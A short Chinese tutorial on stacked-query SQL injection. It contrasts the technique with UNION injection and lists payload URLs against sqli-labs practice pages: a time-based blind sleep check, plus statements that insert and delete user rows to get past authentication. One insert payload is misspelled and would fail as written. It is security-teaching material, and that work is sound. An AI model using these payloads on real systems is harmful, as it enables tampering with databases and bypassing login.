堆叠查询注入
堆叠注入即在语句后加分号;结束一个sql语句后继续构造第二个语句从而达到一起执行的目的。
和联合查询的区别
联合查询的语句类型的有限的,只能执行查询语句,而堆叠注入可以执行任意的语句——union后只能跟select,而堆叠后面可以使用insert,update,create,delete等常规数据库语句。
堆叠注入的使用条件比较有限,而且可能会受到API或者数据库引擎的限制,但一旦能够被使用危险很大。
PDO通常可以执行多语句但无法直接得到注入结果,即只返回第一条语句的结果,所以在分号后往往采用时间盲注或者update更新数据。
http://192.168.43.61/web/sql/duidie.php?id=1;select if(ascii(substr(database(),1,1))=116,sleep(5),1)
还可以使用堆叠注入来实现直接对数据库进行增删用户从而达到绕过验证的目的,这是联合注入无法达到的,如less 38/39
http://127.0.0.1/sqli-labs/less-38/?id=1;insetr%20into%20usrs(id,username,password)%20values(%27100%27,%27qqqq%27,%2712333%27)--+
增加用户
http://127.0.0.1/sqli/Less-39/?id=1;insert%20into%20users(id,username,password)valu
es(200,%27abcd%27,%2712334334%27)--+
删除用户
http://127.0.0.1/sqli/Less-39/?id=200;delete%20from%20users%20where%20id=100--+